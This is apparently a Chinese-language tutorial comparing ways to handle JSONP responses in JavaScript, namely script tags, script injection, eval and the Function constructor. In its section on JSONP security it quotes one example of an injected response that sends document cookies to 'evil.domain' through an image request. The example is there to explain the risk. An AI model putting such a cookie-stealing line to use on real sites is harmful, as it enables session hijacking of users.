这篇文章主要是讲解javascript
的技巧,一步步来分析如何解析jsonp
返回的字符串内容更高效.
注意: 当然现在可以用CROS来解决跨域问题,不过仍然有大量的jsonp
服务端api接口,一般是用来处理ajax
请求
通过jsonp
调用返回得到像这样的脚本foo({"id":42})
字符串,如何高效的提取里面的内容呢?
Classic JSON-P Handling
通常的做法是直接加载jsonp
数据在附加的<script>
元素中,假如下面的url
可以直接获取数据:
var s = document.createElement( "script" );
s.src = "http://some.api.url/?callback=foo&data=whatever";
document.head.appendChild( s );
假设foo({"id":42})
是直接从上面的url
返回的,并且在全局环境中存在foo
这样的函数,然后最终执行方法得到里面的数据对象.
像这样的处理方式已经有很多库或者框架存在了,我之前也写了jXHR库用来自动处理这种函数调用,而且提供了类似于XHR
的语法:
var x = new jXHR();
x.onreadystatechange = function(data) {
if (x.readyState == 4) {
console.log( data.id ); // 42
}
};
x.open( "GET", "http://some.api.url/?callback=?&data=whatever" );
x.send();
JSON-P roblems
上面的这种处理方式会产生一些问题.
第一个最常见的问题就是,全局环境中必须存在一个foo(..)
这样的函数定义,一些jsonp
接口允许返回像这样的bar.foo(..)
回调,这种结构有时是不被允许的,即使bar
是全局变量或者命名空间.当js
和web
向es6
转变时,比如其中的module
,当全局变量越重的时候,代码就会越来越不可维护.
不过,jXHR
可以自动生成一个唯一的函数名(像jXHR.cb123(..)
)来适应接口返回的名字,所以我们可以不用关心这些细节,因为自动生成的函数就在jXHR
命名空间下,这点还是可以接受的.
但是这总归不是一个完美的解决方案,假如不需要库来实现解析的功能肯定是非常不错的.
另一个问题就是随着jsonp
接口的增多,页面中需要增加的script
元素就会增多,这会弄乱整个dom
虽然大部分的库(比如jXHR
)会自动的清除掉用完的script
元素,但是频繁的操作dom
会降低整个页面的性能.
终于,出现了这篇文章concerns over the safety/trustability of JSON-P,因为jsonp
只是随机的js
,任何js
都可以注入进来.
例如,假如返回下面这样的数据:
foo({"id":42});(new Image()).src="http://evil.domain/?hijacking="+document.cookies;
就像你看到的,上面的代码会执行一些你想像不到的代码,获取到你的cookies
了
json-p.org试图定义一个jsonp
的子集,用来提供一些工具来对jsonp
的内容进行验证,最后得到一个安全的数据内容.
但是你不能直接验证从script
元素url
返回的内容
所以,让我们看看其它的方案
Script Injection
首先,你可以获取到jsonp
返回的字符串内容(比如从同源的ajax请求返回),在解析它之前你可以进行某些处理
var jsonp = "..";
// first, do some parsing, regex filtering, or other sorts of
// whitelist checks against the `jsonp` value to see if it's
// "safe"
// now, run it:
var s = document.createElement( "script" );
s.text = jsonp;
document.head.appendChild( s );
这里,我们使用script injection
来运行jsonp
代码(这样保证在任何时候可以对它进行处理),通过设置text
属性来存放内容(与放在src
属性上完全不同)
当然这种方式仍然少不了全局函数或者命名空间来处理jsonp
字符串,而且因为script
标签元素的引用也会带上页面性能的损失.
另外就是以script
为基础来处理jsonp
都会有一个问题,就是不能处理异常,因为你没有任何时基来添加try...catch..
代码(除非在jsonp
字符串内部增加)
其它一个缺陷就是script
深度依赖browser
,假如代码想在node
环境下使用的话,则不能使用它来处理
所以,还有别的选择吗?
Direct Evaluation
也许你认为,为什么我们不能直接使用eval(jsonp)
来解析内容呢,当然你可以这样做,不过随之而来的是一大堆的缺陷
通常反对使用eval
,是因为它会用来执行不可信任的代码
,不过这些细节我们可以提前通过其它手段让这些代码可信任,如果可以的话.
其实真实的原因是因为eval
本身执行的问题,它会禁用变量词法作用域的性能优化,从而导致js
代码的性能下降,所以你应该never, ever use eval(..).
不过这里我们还有另外一种方案而且没有缺陷,那就是使用Function(..)
构造函数,它不但可以直接计算代码在没有script
的情况下(所以可以在nodejs
下运行),而且不需要定义全局函数或者命名空间
下面的代码说明了它的实现:
var jsonp = "..";
// parse/filter `jsonp`'s value if necessary
// wrap the JSON-P in a dynamically-defined function
var f = new Function( "foo", jsonp );
// `f` is now basically:
// function f(foo) {
// foo({"id":42});
// }
// now, provide a non-global `foo()` to extract the JSON
f( function(json){
console.log( json.id ); // 42
} )
所以,new Function( "foo", "foo({\"id\":42})" )
创建了一个function(foo){ foo({"id":42}) }
名为f
的函数.
你能明白这里发生了什么吗?是的,jsonp
调用foo(..)
,但是foo(..)
不需要任何存在的全局同名函数或者命名空间,只是在调用f( function(json){ .. } )
时,注入了一个同名的本地参数,是不是非常不错.
所以:
- 我们手动的解析
jsonp
内容,让我们有机会来对内容进行过滤处理 - 我们不在需要任何全局函数或者命名空间来处理
jsonp
内容 -
Function(..)
没有eval(..)
那样的性能损失(因为它没有作用域的副作用) - 这种方案可以同时在
browser
或者nodejs
环境下使用,因为它没有依赖script
元素 - 我们可以更好的进行异常控制,因为你可以在
f(..)
时添加try..catch
,但是使用script
的话是做不到的
这些是完胜script
方案的
总结
是不是Function(..)
就是最完美的方案呢?当然不是,但是它要比传统的jsonp
处理方式要好多了.
所以,假如你仍然在使用jsonp
接口调用的,有很多选择的话,你可以重新想想还有什么方案适合它,大部分情况下,老式的script
方法是不推荐使用的.